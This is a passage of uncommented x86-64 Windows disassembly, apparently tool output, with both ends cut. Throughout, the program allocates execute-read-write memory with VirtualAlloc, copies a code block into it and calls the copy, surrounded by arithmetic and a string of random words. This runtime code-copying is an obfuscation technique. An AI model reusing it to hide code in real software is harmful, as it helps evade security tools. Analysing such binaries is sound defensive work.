movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001b542
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068270]
lea rcx, [0x140021750]
mov qword [r13 + rax*8 + 0x6d450], rcx
mov qword [r13 + rax*8 + 0x68be0], r8
inc rax
mov qword [0x140068270], rax
lea rdx, [rbp + 0x638]
mov rcx, qword [rdi]
call r8
movaps xmm9, xmm0
lea rcx, [rbp + 0x2928]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x2940]
call fcn.140004660
mov rdx, rbx
lea rcx, [rbp + 0x2940]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
lea rbx, [0x140021750]
test rax, rax
je 0x14001b679
nop dword [rax]
cmp rax, rbx
je 0x14001b666
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x14001b650
jmp 0x14001b679
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14001b75f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001b6a2
mov r8, r12
jmp 0x14001b73e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001b6b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], rbx
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1b48]
mov rcx, qword [rsi]
call r8
movaps xmm8, xmm0
lea rcx, [rbp + 0x2940]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x2958]
call fcn.140004660
lea rsi, [rbp + 0x15798]
mov rdx, rsi
lea rcx, [rbp + 0x2958]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x14001b7dc
cmp rax, rbx
je 0x14001b7c9
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x14001b7b3
jmp 0x14001b7dc
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14001b8bf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001b805
mov r8, r12
jmp 0x14001b89e
mov rax, rbx
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001b810
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], rbx
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1b50]
mov rcx, qword [r14]
call r8
movaps xmm6, xmm0
lea rcx, [rbp + 0x2958]
call fcn.140009fa0
mulsd xmm6, xmm8
addsd xmm6, xmm9
subsd xmm6, xmm10
lea rcx, [rbp + 0x2970]
call fcn.140009fa0
addsd xmm6, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm6
lea rdx, [0x140009f50]
lea rcx, [rbp + 0xc20]
call fcn.140021e00
mov rbx, rax
mov dword [rbp + 0xc0], 3
lea rdx, [rbp + 0x11a00]
lea rcx, [rbp + 0x19a8]
call fcn.140021f10
movsd qword [rbp + 0x640], xmm0
mov edx, 0x18
lea rcx, [rbp + 0x2988]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x2988]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006c170]
lea r14, [0x140021830]
test rax, rax
je 0x14001b99d
cmp rax, r14
je 0x14001b98a
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6c170]
test rax, rax
jne 0x14001b974
jmp 0x14001b99d
mov eax, ecx
mov r9, qword [r13 + rax*8 + 0x6b7f0]
test r9, r9
jne 0x14001ba80
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x14001b9c6
mov r9, r12
jmp 0x14001ba5f
mov rax, r14
mov rcx, r9
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001b9d1
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140067c20]
mov qword [r13 + rax*8 + 0x6c170], r14
mov qword [r13 + rax*8 + 0x6b7f0], r9
inc rax
mov qword [0x140067c20], rax
lea r8, [rbp + 0xc0]
lea rdx, [rbp + 0x640]
mov rcx, qword [rbx]
call r9
movaps xmm6, xmm0
lea rcx, [rbp + 0x2988]
call fcn.140009fa0
movsd xmm1, qword [rsp + 0x68]
subsd xmm1, xmm6
movsd qword [rsp + 0x68], xmm1
lea rdx, [0x140009f60]
lea rcx, [rbp + 0xc28]
call fcn.140021df0
mov rbx, rax
lea rdx, [rbp + 0x11a00]
lea rcx, [rbp + 0x19a8]
call fcn.140021f10
movsd qword [rbp + 0x648], xmm0
mov edx, 0x18
lea rcx, [rbp + 0x29a0]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x29a0]
call fcn.140009f70
nop
mov edx, r12d
mov rcx, qword [0x14006a840]
lea r14, [0x140021750]
test rcx, rcx
je 0x14001bb49
nop dword [rax + rax]
cmp rcx, r14
je 0x14001bb36
inc edx
mov rcx, qword [r13 + rdx*8 + 0x6a840]
test rcx, rcx
jne 0x14001bb20
jmp 0x14001bb49
mov eax, edx
mov r8, qword [r13 + rax*8 + 0x69ba0]
test r8, r8
jne 0x14001bc2f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001bb72
mov r8, r12
jmp 0x14001bc0e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001bb80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006cdf8]
mov qword [r13 + rax*8 + 0x6a840], r14
mov qword [r13 + rax*8 + 0x69ba0], r8
inc rax
mov qword [0x14006cdf8], rax
lea rdx, [rbp + 0x648]
mov rcx, qword [rbx]
call r8
movaps xmm6, xmm0
lea rcx, [rbp + 0x29a0]
call fcn.140009fa0
mulsd xmm6, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm6
mov eax, dword [rsp + 0x60]
lea rdx, [rbp + 0x11a00]
lea rcx, [rbp + 0x15b8]
test al, 1
jne 0x14001bc7e
call fcn.140007450
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
jmp 0x14001bc8d
call fcn.140007450
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov dword [rsp + 0x60], ecx
mov byte [rbp + 0x1583], 0
mov edi, 5
nop dword [rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x11a00]
lea rcx, [rbp + 0x15b8]
call fcn.140007450
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
lea rdx, [rbp + 0x11a00]
lea rcx, [rbp + 0x19a8]
call fcn.140021f10
movsd xmm1, qword [rsp + 0x68]
addsd xmm0, xmm1
movsd qword [rsp + 0x68], xmm0
lea rdx, [rbp + 0x11a00]
test bl, 1
jne 0x14001bd15
lea rcx, [rbp + 0x15b8]
call fcn.140007450
mov ecx, dword [rsp + 0x60]
imul eax, ecx
mov dword [rsp + 0x60], eax
jmp 0x14001bd35
movsd xmm6, qword [rsp + 0x68]
lea rcx, [rbp + 0x19a8]
call fcn.140021f10
addsd xmm0, xmm7
divsd xmm6, xmm0
movsd qword [rsp + 0x68], xmm6
inc ebx
cmp ebx, 5
jl 0x14001bcb0
sub rdi, 1
jne 0x14001bca0
lea rdx, [rbp + 0x11a00]
lea rcx, [rbp + 0x15b8]
call fcn.140007450
mov ebx, eax
lea rdx, [rbp + 0x11a00]
lea rcx, [rbp + 0x15b8]
call fcn.140007450
mov r8d, ebx
mov edx, eax
lea rcx, [rbp + 0x1583]
call fcn.1400218b0
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
lea rcx, [rbp + 0x1818]
call fcn.1400047a0
sub r15, 1
jne 0x14001ae00
lea rcx, [rbp + 0x5e8]
call fcn.140009fc0
mov rcx, rax
lea rdx, [rbp + 0x1a08]
call fcn.140021890
xor edx, edx
movzx ecx, al
call fcn.140009f40
test al, al
jne 0x14001adf1
mov eax, dword [rsp + 0x60]
lea rcx, [rbp + 0x2d60]
call fcn.140004eb0
nop
lea rcx, [rbp + 0x18c0]
call fcn.140021e60
lea rax, [rbp + 0x1578]
mov qword [rbp + 0x5f0], rax
lea rcx, [rbp + 0x5f0]
call fcn.14001e720
lea rcx, [rbp + 0x15da]
call fcn.140001fd0
mov edx, eax
lea rcx, [rbp + 0x12d90]
call fcn.1400048e0
mov edx, 0xffffff9c
mov r8d, 0x64
lea rcx, [rbp + 0x15c0]
call fcn.1400048d0
movaps xmm2, xmm13
movaps xmm1, xmm14
lea rcx, [rbp + 0x19b8]
call fcn.140021f00
mov dword [rsp + 0x60], r12d
movsd qword [rsp + 0x68], xmm15
mov edx, 0x18
lea rcx, [rbp + 0x18d8]
call fcn.140004660
lea rcx, [rbp + 0x18d8]
call fcn.140008aa0
nop
lea rcx, [rbp + 0x5f8]
call fcn.140021fb0
nop
mov rdx, rax
lea rcx, [rbp + 0x308]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x308]
lea rcx, [rbp + 0x18d8]
call fcn.140021e30
nop
lea rcx, [rbp + 0x308]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x5f8]
call fcn.1400086c0
lea rcx, [rbp + 0x650]
call fcn.140022000
nop
mov rdx, rax
lea rcx, [rbp + 0x310]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x18d8]
call fcn.140021e30
nop
lea rcx, [rbp + 0x310]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x650]
call fcn.1400086c0
lea rcx, [rbp + 0x658]
call fcn.140022030
nop
mov rdx, rax
lea rcx, [rbp + 0x318]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x318]
lea rcx, [rbp + 0x18d8]
call fcn.140021e30
nop
lea rcx, [rbp + 0x318]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x658]
call fcn.1400086c0
lea rcx, [rbp + 0x598]
call fcn.140022060
nop
mov rdx, rax
lea rcx, [rbp + 0x350]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x18d8]
call fcn.140021e30
nop
lea rcx, [rbp + 0x350]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x598]
call fcn.1400086c0
lea rcx, [rbp + 0x5d0]
call fcn.140022090
nop
mov rdx, rax
lea rcx, [rbp + 0x240]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x18d8]
call fcn.140021e30
nop
lea rcx, [rbp + 0x240]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x5d0]
call fcn.1400086c0
lea rcx, [rbp + 0x5d8]
call fcn.1400220c0
nop
mov rdx, rax
lea rcx, [rbp + 0x358]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x358]
lea rcx, [rbp + 0x18d8]
call fcn.140021e30
nop
lea rcx, [rbp + 0x358]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x5d8]
call fcn.1400086c0
lea rcx, [rbp + 0x2470]
call fcn.140009fc0
mov dword [rbp + 0xc4], 0x64
lea rdx, [rbp + 0xc4]
lea rcx, [rbp + 0xc30]
call fcn.1400220f0
mov r8, rax
lea rdx, [rbp + 0x2470]
lea rcx, [rbp + 0x1a88]
call fcn.140022100
lea rdx, str.Rampant_nsanctuaries_nparenting_ncell_naccessible_nnecklaces_nyounger_ncontacts_nretreat_neffects_nmilitary_nKohgiluyeh_nChromatisme_nInternationale_nNational_ndisaster_ndreaming_nTeaching_nhistoric_nsending
lea rcx, [rbp + 0x2d80]
call fcn.140005020
nop
lea rcx, [rbp + 0x668]
call fcn.140009fc0
mov rcx, rax
lea rdx, [rbp + 0x1a88]
call fcn.140021890
xor edx, edx
movzx ecx, al
call fcn.140009f40
test al, al
je 0x14001d0a0
lea rsi, [rbp + 0x15798]
nop dword [rax]
mov r15d, 0x2710
nop word [rax + rax]
lea rdx, [rbp + 0x12d90]
lea rcx, [rbp + 0x15c0]
call fcn.140007450
lea rdx, [rbp + 0x12d90]
lea rcx, [rbp + 0x15c0]
call fcn.140007450
movsxd rbx, eax
lea rcx, [rbp + 0x18d8]
call fcn.140021e20
mov rcx, rax
xor edx, edx
mov rax, rbx
div rcx
movsxd rdx, edx
lea rcx, [rbp + 0x18d8]
call fcn.140021400
mov rcx, rax
call fcn.140021e10
mov rdi, rax
mov rcx, qword [rax]
mov rbx, qword [rcx + 8]
lea rdx, [rbp + 0x12d90]
lea rcx, [rbp + 0x15c0]
call fcn.140007450
mov r8d, eax
mov edx, dword [rsp + 0x60]
mov rcx, rdi
call rbx
mov dword [rsp + 0x60], eax
mov edx, 0x18
lea rcx, [rbp + 0x29b8]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x29b8]
call fcn.140009f70
nop
xor edx, edx
mov r8d, 0x19
lea rcx, [rbp + 0x2468]
call fcn.1400048d0
lea rcx, [rbp + 0x2d80]
call fcn.140004ea0
mov rbx, rax
lea rcx, [rbp + 0x2d80]
call fcn.1400216d0
mov rdi, rax
cmp rbx, rax
je 0x14001c1cf
nop dword [rax]
lea rdx, [rbp + 0x12d90]
lea rcx, [rbp + 0x2468]
call fcn.140007450
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rdi
jne 0x14001c1b0
lea rcx, [rbp + 0x29b8]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x1830]
call fcn.140004660
lea rcx, [rbp - 0x6f]
call fcn.1400048c0
mov r8, rax
mov edx, 0x64
lea rcx, [rbp + 0x1830]
call fcn.140004800
nop
lea r8, [rbp + 0x12d90]
lea rdx, [rbp + 0x15c0]
lea rcx, [rbp + 0x11f0]
call fcn.14000a310
movups xmm6, xmmword [rax]
lea rdx, [rbp + 0xc38]
lea rcx, [rbp + 0x1830]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xc40]
lea rcx, [rbp + 0x1830]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea r8, [rsp + 0x70]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140022120
lea rdx, [rbp + 0xc48]
lea rcx, [rbp + 0x1830]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xc50]
lea rcx, [rbp + 0x1830]
call fcn.140021420
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.1400221a0
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
mov edx, 0x18
lea rcx, [rbp + 0x29d0]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x29d0]
call fcn.140009f70
nop
mov edx, 0xffffff9c
mov r8d, 0x64
lea rcx, [rbp + 0x2460]
call fcn.1400048d0
lea r8, [rbp + 0x12d90]
lea rdx, [rbp + 0x2460]
lea rcx, [rbp + 0x1190]
call fcn.14000a310
movups xmm6, xmmword [rax]
lea rdx, [rbp + 0xc58]
lea rcx, [rbp + 0x1830]
call fcn.140021420
mov rdi, qword [rax]
lea rdx, [rbp + 0xc60]
lea rcx, [rbp + 0x1830]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xc68]
lea rcx, [rbp + 0x1830]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0xc70]
call fcn.140021780
lea rdx, [rbp + 0xc78]
lea rcx, [rbp + 0x1830]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xc80]
lea rcx, [rbp + 0x1830]
call fcn.140021420
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140021810
nop
lea rcx, [rbp + 0x29d0]
call fcn.140009fa0
lea rdx, [rbp + 0x12d90]
lea rcx, [rbp + 0x19b8]
call fcn.140021f10
movaps xmm6, xmm0
lea rdx, [rbp + 0x12d90]
lea rcx, [rbp + 0x19b8]
call fcn.140021f10
movsd qword [rbp + 0x1a80], xmm0
movsd qword [rbp + 0x1a78], xmm6
mov edx, 0x18
lea rcx, [rbp + 0x2a60]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x2a60]
call fcn.140009f70
nop
lea rdx, [0x14002dcf0]
lea rcx, [rbp + 0xc88]
call fcn.1400213f0
mov r14, rax
lea rdx, [0x14002e260]
lea rcx, [rbp + 0xc90]
call fcn.1400213f0
mov rsi, rax
lea rdx, [0x14002e7e0]
lea rcx, [rbp + 0xc98]
call fcn.1400213f0
mov rdi, rax
lea rdx, [0x140009f30]
lea rcx, [rbp + 0xca0]
call fcn.140021430
mov rbx, rax
mov edx, 0x18
lea rcx, [rbp + 0x29e8]
call fcn.140004660
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x29e8]
call fcn.140009f70
nop
mov ecx, r12d
mov rdx, qword [0x14006a520]
test rdx, rdx
je 0x14001c4c0
nop word [rax + rax]
lea rax, [0x140021750]
cmp rdx, rax
je 0x14001c4ad
inc ecx
mov rdx, qword [r13 + rcx*8 + 0x6a520]
test rdx, rdx
jne 0x14001c490
jmp 0x14001c4c0
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x69230]
test r8, r8
jne 0x14001c5b6
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001c4e9
mov r8, r12
jmp 0x14001c58e
lea rax, [0x140021750]
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001c500
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068f00]
lea rcx, [0x140021750]
mov qword [r13 + rax*8 + 0x6a520], rcx
mov qword [r13 + rax*8 + 0x69230], r8
inc rax
mov qword [0x140068f00], rax
lea rdx, [rbp + 0x1a80]
mov rcx, qword [rbx]
call r8
movaps xmm6, xmm0
lea rcx, [rbp + 0x29e8]
call fcn.140009fa0
addsd xmm6, xmm7
movsd qword [rbp + 0x620], xmm6
lea rdx, [0x14002ed10]
lea rcx, [rbp + 0xca8]
call fcn.1400213f0
mov rbx, rax
mov edx, 0x18
lea rcx, [rbp + 0x2a00]
call fcn.140004660
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x2a00]
call fcn.140009f70
nop
mov edx, r12d
mov rcx, qword [0x140067c30]
test rcx, rcx
je 0x14001c660
nop dword [rax + rax]
lea rax, [0x140021750]
cmp rcx, rax
je 0x14001c64d
inc edx
mov rcx, qword [r13 + rdx*8 + 0x67c30]
test rcx, rcx
jne 0x14001c630
jmp 0x14001c660
mov eax, edx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14001c756
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001c689
mov r8, r12
jmp 0x14001c72e
lea rax, [0x140021750]
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001c6a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
lea rcx, [0x140021750]
mov qword [r13 + rax*8 + 0x67c30], rcx
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1a78]
mov rcx, qword [rbx]
call r8
movaps xmm10, xmm0
lea rcx, [rbp + 0x2a00]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x2a18]
call fcn.140004660
lea rbx, [rbp + 0x15798]
mov rdx, rbx
lea rcx, [rbp + 0x2a18]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006d450]
test rax, rax
je 0x14001c7da
lea rdx, [0x140021750]
cmp rax, rdx
je 0x14001c7c7
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6d450]
test rax, rax
jne 0x14001c7b1
jmp 0x14001c7da
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x68be0]
test r8, r8
jne 0x14001c8c8
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001c803
mov r8, r12
jmp 0x14001c8a0
lea rax, [0x140021750]
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
